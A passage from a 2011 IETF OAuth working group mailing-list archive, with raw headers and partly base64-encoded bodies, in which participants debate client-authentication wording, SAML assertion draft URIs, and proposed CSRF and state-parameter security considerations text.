ZD48Ym9keSBsYW5nPUVOLVVTIGxpbms9Ymx1ZSB2bGluaz1wdXJwbGU+PGRpdiBjbGFzcz1Xb3Jk U2VjdGlvbjE+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTEuMHB0 O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6IzFGNDk3RCc+SSBzdGls bCBkb27igJl0IGZpbmQgaXQgdXNlZnVsLiBJIHRoaW5rIHRoZSBleGlzdGluZyB0ZXh0IG92ZXJh bGwgbWFrZXMgdGhpcyBwb2ludCBhbHJlYWR5LjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48cCBjbGFz cz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMS4wcHQ7Zm9udC1mYW1pbHk6IkNh bGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjojMUY0OTdEJz48bzpwPiZuYnNwOzwvbzpwPjwvc3Bh bj48L3A+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTEuMHB0O2Zv bnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6IzFGNDk3RCc+RUhMPG86cD48 L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXpl OjExLjBwdDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOiMxRjQ5N0Qn PjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD48ZGl2IHN0eWxlPSdib3JkZXI6bm9uZTtib3Jk ZXItbGVmdDpzb2xpZCBibHVlIDEuNXB0O3BhZGRpbmc6MGluIDBpbiAwaW4gNC4wcHQnPjxkaXY+ PGRpdiBzdHlsZT0nYm9yZGVyOm5vbmU7Ym9yZGVyLXRvcDpzb2xpZCAjQjVDNERGIDEuMHB0O3Bh ZGRpbmc6My4wcHQgMGluIDBpbiAwaW4nPjxwIGNsYXNzPU1zb05vcm1hbD48Yj48c3BhbiBzdHls ZT0nZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseToiVGFob21hIiwic2Fucy1zZXJpZiInPkZy b206PC9zcGFuPjwvYj48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseToi VGFob21hIiwic2Fucy1zZXJpZiInPiBUb3JzdGVuIExvZGRlcnN0ZWR0IFttYWlsdG86dG9yc3Rl bkBsb2RkZXJzdGVkdC5uZXRdIDxicj48Yj5TZW50OjwvYj4gV2VkbmVzZGF5LCBKdWx5IDA2LCAy MDExIDEyOjQ4IEFNPGJyPjxiPlRvOjwvYj4gRXJhbiBIYW1tZXItTGFoYXY7IE9BdXRoIFdHPGJy PjxiPlN1YmplY3Q6PC9iPiBSZTogU2VjdGlvbiAxMC4xIChDbGllbnQgYXV0aGVudGljYXRpb24p PG86cD48L286cD48L3NwYW4+PC9wPjwvZGl2PjwvZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48bzpw PiZuYnNwOzwvbzpwPjwvcD48cCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9J21hcmdpbi1ib3R0b206 MTIuMHB0Jz48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtmb250LWZhbWlseToiQ2FsaWJy aSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz5IaSBFcmFuLDxicj48YnI+SSB3b3VsZCBzdWdn ZXN0IHRvIGNoYW5nZSBpdCB0byBTSE9VTEQgYW5kIGFkZCBhIHJlZmVyZW5jZSB0byA8YSBocmVm PSJodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvZHJhZnQtaWV0Zi1vYXV0aC12Mi10aHJlYXRt b2RlbC0wMCI+aHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL2RyYWZ0LWlldGYtb2F1dGgtdjIt dGhyZWF0bW9kZWwtMDA8L2E+IHNlY3Rpb25zIDMuNyBhbmQgNS4yLjMuPGJyPjxicj5yZWdhcmRz LDxicj5Ub3JzdGVuLjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48ZGl2PjxwIGNsYXNzPU1zb05vcm1h bD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNh bnMtc2VyaWYiO2NvbG9yOmJsYWNrJz48YnI+PGJyPkVyYW4gSGFtbWVyLUxhaGF2ICZsdDs8YSBo cmVmPSJtYWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbSI+ZXJhbkBodWVuaXZlcnNlLmNvbTwvYT4m Z3Q7IHNjaHJpZWI6PG86cD48L286cD48L3NwYW4+PC9wPjxkaXY+PHAgY2xhc3M9TXNvTm9ybWFs PjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fu cy1zZXJpZiI7Y29sb3I6YmxhY2snPkl0J3MgYSBwb2ludGxlc3MgTVVTVCBnaXZlbiBob3cgdW5k ZWZpbmVkIHRoZSByZXF1aXJlbWVudHMgYXJlLiBJdCB3aWxsIG9ubHkgYmUgdW5kZXJzdG9vZCBi eSBzZWN1cml0eSBleHBlcnRzIGFuZCB0aGV5IGRvbid0IHJlYWxseSBuZWVkIGl0LiBBdCBhIG1p bmltdW0sIGl0IG5lZWRzIHNvbWUgZXhhbXBsZXMuPG86cD48L286cD48L3NwYW4+PC9wPjwvZGl2 PjxkaXY+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuNXB0O2Zv bnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPjxvOnA+Jm5ic3A7 PC9vOnA+PC9zcGFuPjwvcD48L2Rpdj48ZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHls ZT0nZm9udC1zaXplOjEwLjVwdDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2Nv bG9yOmJsYWNrJz5FSEw8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1N c29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGli cmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9w PjwvZGl2PjxkaXYgc3R5bGU9J2JvcmRlcjpub25lO2JvcmRlci10b3A6c29saWQgI0I1QzRERiAx LjBwdDtwYWRkaW5nOjMuMHB0IDBpbiAwaW4gMGluJz48cCBjbGFzcz1Nc29Ob3JtYWw+PGI+PHNw YW4gc3R5bGU9J2ZvbnQtc2l6ZToxMS4wcHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNl cmlmIjtjb2xvcjpibGFjayc+RnJvbTogPC9zcGFuPjwvYj48c3BhbiBzdHlsZT0nZm9udC1zaXpl OjExLjBwdDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz5U b3JzdGVuIExvZGRlcnN0ZWR0ICZsdDs8YSBocmVmPSJtYWlsdG86dG9yc3RlbkBsb2RkZXJzdGVk dC5uZXQiPnRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0PC9hPiZndDs8YnI+PGI+RGF0ZTogPC9iPldl ZCwgMSBKdW4gMjAxMSAwMDo1MzozNyAtMDcwMDxicj48Yj5UbzogPC9iPkVyYW4gSGFtbWVyLWxh aGF2ICZsdDs8YSBocmVmPSJtYWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbSI+ZXJhbkBodWVuaXZl cnNlLmNvbTwvYT4mZ3Q7LCBPQXV0aCBXRyAmbHQ7PGEgaHJlZj0ibWFpbHRvOm9hdXRoQGlldGYu b3JnIj5vYXV0aEBpZXRmLm9yZzwvYT4mZ3Q7PGJyPjxiPlN1YmplY3Q6IDwvYj5TZWN0aW9uIDEw LjEgKENsaWVudCBhdXRoZW50aWNhdGlvbik8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRp dj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1m YW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+PG86cD4mbmJzcDs8L286 cD48L3NwYW4+PC9wPjwvZGl2PjxibG9ja3F1b3RlIHN0eWxlPSdib3JkZXI6bm9uZTtib3JkZXIt bGVmdDpzb2xpZCAjQjVDNERGIDQuNXB0O3BhZGRpbmc6MGluIDBpbiAwaW4gNC4wcHQ7bWFyZ2lu LWxlZnQ6My43NXB0O21hcmdpbi1yaWdodDowaW4nIGlkPSJNQUNfT1VUTE9PS19BVFRSSUJVVElP Tl9CTE9DS1FVT1RFIj48ZGl2PjxkaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5 bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtj b2xvcjpibGFjayc+SGkgRXJhbiw8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBj bGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6 IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+PG86cD4mbmJzcDs8L286cD48L3Nw YW4+PC9wPjwvZGl2PjxkaXY+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNp emU6MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2sn PndvdWxkIHlvdSBwbGVhc2UgYWRkIHRoZSBmb2xsb3dpbmcgc2VudGVuY2UgKHdoaWNoIHdhcyBj b250YWluZWQgaW4gdGhlIDxvOnA+PC9vOnA+PC9zcGFuPjwvcD48L2Rpdj48ZGl2PjxwIGNsYXNz PU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtmb250LWZhbWlseToiQ2Fs aWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz5vcmlnaW5hbCBzZWN1cml0eSBjb25zaWRl cmF0aW9ucyB0ZXh0KSB0byB0aGUgc2Vjb25kIHBhcmFncmFwaCBvZiA8bzpwPjwvbzpwPjwvc3Bh bj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6 ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+ c2VjdGlvbiAxLjAuMT88bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1N c29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGli cmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9w PjwvZGl2PjxkaXY+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAu NXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPkFsdGVy bmF0aXZlbHksIGF1dGhvcml6YXRpb24gc2VydmVycyBNVVNUIHV0aWxpemU8bzpwPjwvbzpwPjwv c3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQt c2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFj ayc+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3RoZXIgbWVhbnMgdGhhbiBjbGllbnQgYXV0aGVu dGljYXRpb24gdG8gYWNoaWV2ZSB0aGVpciBzZWN1cml0eTxvOnA+PC9vOnA+PC9zcGFuPjwvcD48 L2Rpdj48ZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVw dDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz4mbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDtvYmplY3RpdmVzLjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48L2Rpdj48 ZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtmb250 LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz48bzpwPiZuYnNwOzwv bzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9 J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xv cjpibGFjayc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPjwvZGl2PjxkaXY+PHAgY2xhc3M9 TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxp YnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPkkgdGhpbmsgaXQncyBpbXBvcnRhbnQgdG8g c3RhdGUgdGhhdCBhdXRob3JpemF0aW9uIHNlcnZlciBzaG91bGQgPG86cD48L286cD48L3NwYW4+ PC9wPjwvZGl2PjxkaXY+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6 MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPmNv bnNpZGVyIGFsdGVybmF0aXZlIHdheSB0byB2YWxpZGF0ZSB0aGUgY2xpZW50IGlkZW50aXR5IGlm IHNlY3JldHMgPG86cD48L286cD48L3NwYW4+PC9wPjwvZGl2PjxkaXY+PHAgY2xhc3M9TXNvTm9y bWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwi c2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPmNhbm5vdCBiZSB1c2VkLiBUaGUgc2VjdXJpdHkgdGhy ZWF0IGRvY3VtZW50IGFsc28gc3VnZ2VzdCBzb21lLjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48L2Rp dj48ZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtm b250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz48bzpwPiZuYnNw OzwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5 bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtj b2xvcjpibGFjayc+cmVnYXJkcyw8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PGRpdj48cCBj bGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6 IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+VG9yc3Rlbi48bzpwPjwvbzpwPjwv c3Bhbj48L3A+PC9kaXY+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQt c2l6ZToxMC41cHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFj ayc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPjwvZGl2PjxkaXY+PHAgY2xhc3M9TXNvTm9y bWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuNXB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwi c2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD48L2Rp dj48ZGl2PjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjVwdDtm b250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz48bzpwPiZuYnNw OzwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9ibG9ja3F1b3RlPjwvZGl2Pjwv ZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+ --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF7CP3PW5EX1MB01E_-- From eran@hueniverse.com Thu Jul 7 22:24:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D8A6521F87D7 for ; Thu, 7 Jul 2011 22:24:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.66 X-Spam-Level: X-Spam-Status: No, score=-2.66 tagged_above=-999 required=5 tests=[AWL=-0.061, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zpoa74zpikmK for ; Thu, 7 Jul 2011 22:24:08 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 4025021F87BD for ; Thu, 7 Jul 2011 22:24:08 -0700 (PDT) Received: (qmail 8950 invoked from network); 8 Jul 2011 05:24:07 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 05:24:07 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 7 Jul 2011 22:24:08 -0700 From: Eran Hammer-Lahav To: Brian Campbell , oauth Date: Thu, 7 Jul 2011 22:24:04 -0700 Thread-Topic: [OAUTH-WG] SAML Assertion Draft Items Thread-Index: Acw82P3YZhqMbksFSMqiXBTzpVx9wAAVch5w Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF82@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] SAML Assertion Draft Items X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 05:24:09 -0000 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Brian Campbell > Sent: Thursday, July 07, 2011 12:06 PM > To: oauth > Subject: [OAUTH-WG] SAML Assertion Draft Items >=20 > WG, >=20 > Unfortunately I will not be at IETF#81 and will probably not be able to p= ost a > new draft of draft-ietf-oauth-saml2-bearer prior to the I-D submission cu= toff > date. In lieu of that, I'd like to make a few proposals and/or ask a few > questions regarding the next draft in hopes of fostering some productive > discussion. >=20 > Item 1: Profiling of draft-ietf-oauth-assertions Assuming the WG continue= s to > support draft-ietf-oauth-assertions, the SAML draft should become a > profile/extension of it. For SAML as a grant type, that should be easy a= nd > even shorten/simplify this draft. >=20 > However, the SAML draft does not currently cover SAML for client > authentication and profiling draft-ietf-oauth-assertions would suggest th= at it > should. Is there any general consensus as to if SAML should be profiled = as a > client authentication method? It is certainly feasible but might require > restructuring and retitling the draft. Are there use cases pending such functionality today? It would be a shame t= o delay an otherwise useful draft when the functionality can be added later= . > Item 2: URI(s) > The value for grant_type is currently defined as > http://oauth.net/grant_type/saml/2.0/bearer but there have been some > questions raised about the stability and appropriateness of the URL. I'm not a fan.=20 > I really did read RFCs 2648 & 3553, as was suggested at the last F2F meet= ing, > but it's not clear to me how to register an IETF URI and/or if those RFCs= are > fully appropriate for this. If someone could explain it to me in terms m= y > preschooler could understand, maybe I could jump though the proper hoops > to get the URI to be something like urn:ietf:something:something. Asking on the URN list usually helps. > Otherwise, I can continue to use > http://oauth.net/grant_type/saml/2.0/bearer and, assuming the draft > should also cover client authentication, also define > http://oauth.net/client_assertion_type/saml/2.0/bearer. The JWT version > could then follow a similar pattern. Or perhaps we could use the URI, > urn:oasis:names:tc:SAML:2.0:cm:bearer which is defined in section 3.3 of > saml-profiles-2.0-os as URI that identifies the bearer subject confirmati= on > method. It seems like that might be close enough to work out without > violating anything serious. And it could be used for both grant_type and > client_assertion_type, which is nice. Don't use an OASIS URN. That's asking for trouble. EHL From eran@hueniverse.com Thu Jul 7 23:26:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EE11621F86E0 for ; Thu, 7 Jul 2011 23:26:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.658 X-Spam-Level: X-Spam-Status: No, score=-2.658 tagged_above=-999 required=5 tests=[AWL=-0.059, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id uw5gEteO40Da for ; Thu, 7 Jul 2011 23:26:27 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 014FC21F86D1 for ; Thu, 7 Jul 2011 23:26:26 -0700 (PDT) Received: (qmail 12363 invoked from network); 8 Jul 2011 06:26:26 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 06:26:25 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 7 Jul 2011 23:26:25 -0700 From: Eran Hammer-Lahav To: Mark Mcgloin Date: Thu, 7 Jul 2011 23:26:22 -0700 Thread-Topic: [OAUTH-WG] Draft 16 Security Considerations additions Thread-Index: Acw79V5Q9VmSrIbGRCqzGIoNhOnUBwBQod4w Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF88@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 06:26:29 -0000 IiB1c2luZyBhIERPTSB2YXJpYWJsZSAocHJvdGVjdGVkIGJ5IEphdmFTY3JpcHQgb3Igb3RoZXIg RE9NLWJpbmRpbmcgbGFuZ3VhZ2UncyBlbmZvcmNlbWVudCBvZiBTT1ApIg0KDQpUaGlzIGlzIG5v dCBjbGVhciB3aXRob3V0IGEgcmVmZXJlbmNlIG9yIG1vcmUgZGV0YWlscyBkZXNjcmlwdGlvbi4N Cg0KRUhMDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogTWFyayBNY2ds b2luIFttYWlsdG86bWFyay5tY2dsb2luQGllLmlibS5jb21dDQo+IFNlbnQ6IFdlZG5lc2RheSwg SnVseSAwNiwgMjAxMSA4OjU2IEFNDQo+IFRvOiBFcmFuIEhhbW1lci1MYWhhdg0KPiBDYzogb2F1 dGhAaWV0Zi5vcmc7IFRvcnN0ZW4gTG9kZGVyc3RlZHQNCj4gU3ViamVjdDogUmU6IFtPQVVUSC1X R10gRHJhZnQgMTYgU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMgYWRkaXRpb25zDQo+IA0KPiBSZXdv cmRlZCB0byBtb2RpZnkgdGhlIHRleHQgYXJvdW5kIHNlY3JldCBhbmQgc29tZSBhZGRpdGlvbmFs IGluZm8gb24NCj4gcmVkaXJlY3QtdXJpICh3aXRoIHNvbWUgaW5wdXQgZnJvbSBTaGFuZSBXZWFk ZW4pIGFuZCBhZGRpbmcgc3RhdGUgaW4NCj4gZHluYW1pYyByZWRpcmVjdC11cmkgKHdpdGggaW5w dXQgZnJvbSBUb3JzdGVuKQ0KPiANCj4gQ1NSRg0KPiBDcm9zcy1TaXRlIFJlcXVlc3QgRm9yZ2Vy eSAoQ1NSRikgaXMgYSB3ZWItYmFzZWQgYXR0YWNrIHdoZXJlYnkgSFRUUA0KPiByZXF1ZXN0cyBh cmUgdHJhbnNtaXR0ZWQgZnJvbSBhIHVzZXIgdGhhdCB0aGUgd2Vic2l0ZSB0cnVzdHMgb3IgaGFz DQo+IGF1dGhlbnRpY2F0ZWQuIENTUkYgYXR0YWNrcyBvbiBPQXV0aCBhcHByb3ZhbHMgY2FuIGFs bG93IGFuIGF0dGFja2VyIHRvDQo+IG9idGFpbiBhdXRob3JpemF0aW9uIHRvIE9BdXRoIFByb3Rl Y3RlZCBSZXNvdXJjZXMgd2l0aG91dCB0aGUgY29uc2VudCBvZg0KPiB0aGUgVXNlci4NCj4gVGhl IHN0YXRlIHBhcmFtZXRlciBzaG91bGQgYmUgdXNlZCB0byBtaXRpZ2F0ZSBhZ2FpbnN0IENTUkYg YXR0YWNrcywNCj4gcGFydGljdWxhcmx5IGZvciBsb2dpbiBDU1JGIGF0dGFja3MuIENTUkYgYXR0 YWNrcyBhZ2FpbnN0IGEgY2xpZW50J3MgcmVkaXJlY3QgVVJJDQo+IGFsbG93IGFuIGF0dGFja2Vy IHRvIGluamVjdCB0aGVpciBvd24gYXV0aG9yaXphdGlvbiBjb2RlIChvciBhY2Nlc3MgdG9rZW4g Zm9yDQo+IGltcGxpY2l0IGdyYW50IGZsb3cpLiBUaGlzIG1heSByZXN1bHQgaW4gdGhlIGNsaWVu dCB1c2luZyBhbiBhY2Nlc3MgdG9rZW4NCj4gYXNzb2NpYXRlZCB3aXRoIHRoZSBhdHRhY2tlcnMg YWNjb3VudCByYXRoZXIgdGhhbiB0aGUgdmljdGltcy4gRGVwZW5kaW5nIG9uDQo+IHRoZSBuYXR1 cmUgb2YgdGhlIGNsaWVudCBhbmQgdGhlIHByb3RlY3RlZCByZXNvdXJjZXMsIHRoaXMgY2FuIGhh dmUNCj4gdW5kZXNpcmFibGUgYW5kIGRhbWFnaW5nIGVmZmVjdHMuDQo+IEl0IGlzIHN0cm9uZ2x5 IFJFQ09NTUVOREVEIHRoYXQgdGhlIGNsaWVudCBzZW5kcyB0aGUgc3RhdGUgcGFyYW1ldGVyIHdp dGgNCj4gYXV0aG9yaXphdGlvbiByZXF1ZXN0cyB0byB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIu IFRoZSBzdGF0ZSBwYXJhbWV0ZXINCj4gTVVTVCBiZSBub24tZ3Vlc3NhYmxlIGFuZCB0aGUgY2xp ZW50IE1VU1QgYmUgY2FwYWJsZSBvZiBrZWVwaW5nIGl0IGluIGENCj4gbG9jYXRpb24gYWNjZXNz aWJsZSBvbmx5IGJ5IHRoZSBjbGllbnQgb3IgdGhlIHVzZXIgYWdlbnQgKGkuZS4sIHByb3RlY3Rl ZCBieQ0KPiBzYW1lLW9yaWdpbiBwb2xpY3kpLiBlLmcuOiBET00gdmFyaWFibGUgKHByb3RlY3Rl ZCBieSBfamF2YXNjcmlwdF8gb3Igb3RoZXINCj4gRE9NLWJpbmRpbmcgbGFuZ3VhZ2UncyBlbmZv cmNlbWVudCBvZiBTT1ApLCBIVFRQIGNvb2tpZSwgSFRNTDUgY2xpZW50LQ0KPiBzaWRlIHN0b3Jh Z2UsIGV0Yy4gVGhlIGF1dGhvcml6YXRpb24gc2VydmVyIHdpbGwgc2VuZCBpdCBpbiB0aGUgcmVz cG9uc2Ugd2hlbg0KPiByZWRpcmVjdGluZyB0aGUgdXNlciB0byBiYWNrIHRvIHRoZSBjbGllbnQg 